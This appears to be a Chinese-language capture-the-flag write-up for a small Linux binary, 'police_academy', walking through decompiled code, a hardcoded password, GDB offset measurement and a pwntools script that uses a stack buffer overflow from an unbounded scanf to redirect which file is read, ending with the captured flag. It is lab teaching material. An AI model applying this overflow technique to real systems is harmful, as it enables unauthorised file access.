走一下程序流程
ios@ubuntu:~$ ./police_academy
Enter password to authentic yourself : 1
Incorrect password. Closing connection.
ios@ubuntu:~$
检查程序
ios@ubuntu:~$ checksec police_academy
[*] '/home/ios/police_academy'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
载入IDA分析
int __cdecl main(int argc, const char **argv, const char **envp)
{
int *v3; // rsi
int result; // eax
int v5; // [rsp+8h] [rbp-48h]
int v6; // [rsp+Ch] [rbp-44h]
char s1; // [rsp+10h] [rbp-40h]
__int64 v8; // [rsp+20h] [rbp-30h]
__int64 v9; // [rsp+28h] [rbp-28h]
__int64 v10; // [rsp+30h] [rbp-20h]
__int64 v11; // [rsp+38h] [rbp-18h]
int v12; // [rsp+40h] [rbp-10h]
char v13; // [rsp+44h] [rbp-Ch]
unsigned __int64 v14; // [rsp+48h] [rbp-8h]
v14 = __readfsqword(0x28u);
printf("Enter password to authentic yourself : ", argv, envp);
fflush(_bss_start);
__isoc99_scanf("%s", &s1);
if ( strncmp(&s1, "kaiokenx20", 0xAuLL) )
{
puts("Incorrect password. Closing connection.");
exit(0);
}
puts("Enter case number: ");
printf("\n\t 1) Application_1", "kaiokenx20");
printf("\n\t 2) Application_2");
printf("\n\t 3) Application_3");
printf("\n\t 4) Application_4");
printf("\n\t 5) Application_5");
printf("\n\t 6) Application_6");
printf("\n\t 7) Flag");
printf("\n\n\t Enter choice :- ");
fflush(_bss_start);
v3 = &v5;
__isoc99_scanf("%d", &v5);
switch ( v5 )
{
case 1:
v8 = '070885a2';
v9 = '5f5e8ea0';
v10 = 'c9fd9ac1';
v11 = 'd65344a5';
v12 = 'tad.';
v13 = 0;
break;
case 2:
v8 = 'c1eda58c';
v9 = '2ebbcb74';
v10 = '941246ca';
v3 = (int *)'81b19491';
v11 = '81b19491';
v12 = 'tad.';
v13 = 0;
break;
case 3:
v8 = '23a1c928';
v9 = '3bfa3226';
v3 = (int *)'b61c43c3';
v10 = 'b61c43c3';
v11 = 'd27474ab';
v12 = 'tad.';
v13 = 0;
break;
case 4:
v8 = 'd82fd45a';
v3 = (int *)'f08d4b8b';
v9 = 'f08d4b8b';
v10 = 'ad116607';
v11 = '06491899';
v12 = 'tad.';
v13 = 0;
break;
case 5:
v8 = 'cb7eb354';
v9 = 'c09d32f0';
v10 = 'b5dc33e0';
v3 = (int *)'0c283015';
v11 = '0c283015';
v12 = 'tad.';
v13 = 0;
break;
case 6:
v8 = '6cfe3313';
v9 = 'b5d57a29';
v3 = (int *)'a7e6a65d';
v10 = 'a7e6a65d';
v11 = 'c721627f';
v12 = 'tad.';
v13 = 0;
break;
case 7:
v8 = 'txt.galf';
LOBYTE(v9) = 0;
puts("You don't have the required privileges to view the flag, yet.");
exit(0);
return result;
default:
break;
}
v6 = print_record((const char *)&v8);
if ( v6 == -1 )
printf("\nNo such record exists. Please verify your choice.", v3);
fflush(_bss_start);
puts("\n");
return 0;
}
首先程序需要输入密码 这里可以看到密码为 kaiokenx20
程序需要输入1-7 之后进行print_record()函数操作 跟进看一下
signed __int64 __fastcall print_record(const char *a1)
{
FILE *stream; // [rsp+18h] [rbp-338h]
char ptr; // [rsp+20h] [rbp-330h]
unsigned __int64 v4; // [rsp+348h] [rbp-8h]
v4 = __readfsqword(0x28u);
if ( (unsigned int)strlen(a1) != 36 )
return 0xFFFFFFFFLL;
stream = fopen(a1, "r");
if ( !stream )
return 0xFFFFFFFFLL;
printf("\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", "r");
puts("\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\n");
fread(&ptr, 0x30CuLL, 1uLL, stream);
printf("%s", &ptr);
printf("\n\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
printf("\nXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
fclose(stream);
return 0LL;
}
判断了 读入的长度是否为36 是的话就行读取
思路
可以利用
__isoc99_scanf("%s", &s1);
进行溢出覆盖
使用GDB来判断S1与v8之间的偏移
.text:0000000000400B1E loc_400B1E: ; CODE XREF: main+136↑j
.text:0000000000400B1E ; DATA XREF: .rodata:off_401028↓o
.text:0000000000400B1E lea rax, [rbp+var_30] ; jumptable 0000000000400AD1 case 2
.text:0000000000400B22 mov rsi, 'c1eda58c'
.text:0000000000400B2C mov [rax], rsi
.text:0000000000400B2F mov rcx, '2ebbcb74'
.text:0000000000400B39 mov [rax+8], rcx
.text:0000000000400B3D mov rdx, '941246ca'
.text:0000000000400B47 mov [rax+10h], rdx
.text:0000000000400B4B mov rsi, '81b19491'
.text:0000000000400B55 mov [rax+18h], rsi
.text:0000000000400B59 mov dword ptr [rax+20h], 'tad.'
.text:0000000000400B60 mov byte ptr [rax+24h], 0
.text:0000000000400B64 jmp loc_400CB8 ; jumptable 0000000000400AD1 default case
下断在case 2 的 0x400B2F 处
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────[ registers ]────
$rax : 0x00007fffffffde70 → "c85ade1c"
$rbx : 0x0000000000000000
$rcx : 0x0000000000000010
$rdx : 0x00007ffff7dd3790 → 0x0000000000000000
$rsp : 0x00007fffffffde50 → 0x0000000000000000
$rbp : 0x00007fffffffdea0 → 0x0000000000400d10 → <__libc_csu_init+0> push r15
$rsi : 0x6331656461353863 ("c85ade1c"?)
$rdi : 0x00007fffffffd930 → 0x0000000000190032 ("2"?)
$rip : 0x0000000000400b2f → <main+404> movabs rcx, 0x3265626263623734
$r8 : 0x0000000000000000
$r9 : 0x0000000000000000
$r10 : 0x0000000000000000
$r11 : 0x00007ffff7b845e0 → 0x0002000200020002
$r12 : 0x0000000000400790 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffdf80 → 0x0000000000000001
$r14 : 0x0000000000000000
$r15 : 0x0000000000000000
$eflags: [CARRY parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$es: 0x0000 $ss: 0x002b $fs: 0x0000 $cs: 0x0033 $gs: 0x0000 $ds: 0x0000
───────────────────────────────────────────────────────────────────[ stack ]────
0x00007fffffffde50│+0x00: 0x0000000000000000 ← $rsp
0x00007fffffffde58│+0x08: 0x0000000000000002
0x00007fffffffde60│+0x10: "kaiokenx20"
0x00007fffffffde68│+0x18: 0x0000000000003032 ("20"?)
0x00007fffffffde70│+0x20: "c85ade1c" ← $rax
0x00007fffffffde78│+0x28: 0x0000000000000000
0x00007fffffffde80│+0x30: 0x0000000000400d10 → <__libc_csu_init+0> push r15
0x00007fffffffde88│+0x38: 0x0000000000400790 → <_start+0> xor ebp, ebp
────────────────────────────────────────────────────────[ code:i386:x86-64 ]────
0x400b1e <main+387> lea rax, [rbp-0x30]
0x400b22 <main+391> movabs rsi, 0x6331656461353863
0x400b2c <main+401> mov QWORD PTR [rax], rsi
→ 0x400b2f <main+404> movabs rcx, 0x3265626263623734
0x400b39 <main+414> mov QWORD PTR [rax+0x8], rcx
0x400b3d <main+418> movabs rdx, 0x3934313234366361
0x400b47 <main+428> mov QWORD PTR [rax+0x10], rdx
0x400b4b <main+432> movabs rsi, 0x3831623139343931
0x400b55 <main+442> mov QWORD PTR [rax+0x18], rsi
─────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "police_academy", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x400b2f → Name: main()
可以查看到此时的rsp以及rbp
通过计算得到此时的v8与s1之间的偏移
gef➤ p/x 0x00007fffffffde50+0x10
$1 = 0x7fffffffde60
gef➤ p/x 0x00007fffffffde50+0x20
$2 = 0x7fffffffde70
gef➤ p/d 0x7fffffffde70-0x7fffffffde60
$3 = 16
得到偏移量为16
但是密码占了10位 所以只能从后6位开始进行填充
由于文件名长度需要达到32位 所以构造payload
from pwn import *
p = process("./police_academy")
payload = 'kaiokenx20' + '\x00'*6+'./'*14+'flag.txt'
p.recvuntil('Enter password to authentic yourself : ')
p.sendline(payload)
p.recvuntil(':')
p.sendline('9')
p.interactive()
因为在根目录下面
所以使用了./进行填充
这里case选择9是为了
default:
break;
跳出循环
本地运行即可获得flag
ios@ubuntu:~$ python police_academy.py
[+] Starting local process './police_academy': pid 5065
[*] Switching to interactive mode
1) Application_1
2) Application_2
3) Application_3
4) Application_4
5) Application_5
6) Application_6
7) Flag
Enter choice [*] Process './police_academy' stopped with exit code 0 (pid 5065)
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
flag{is wo ai ni}
\x7f��\x7f
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[*] Got EOF while reading in interactive
$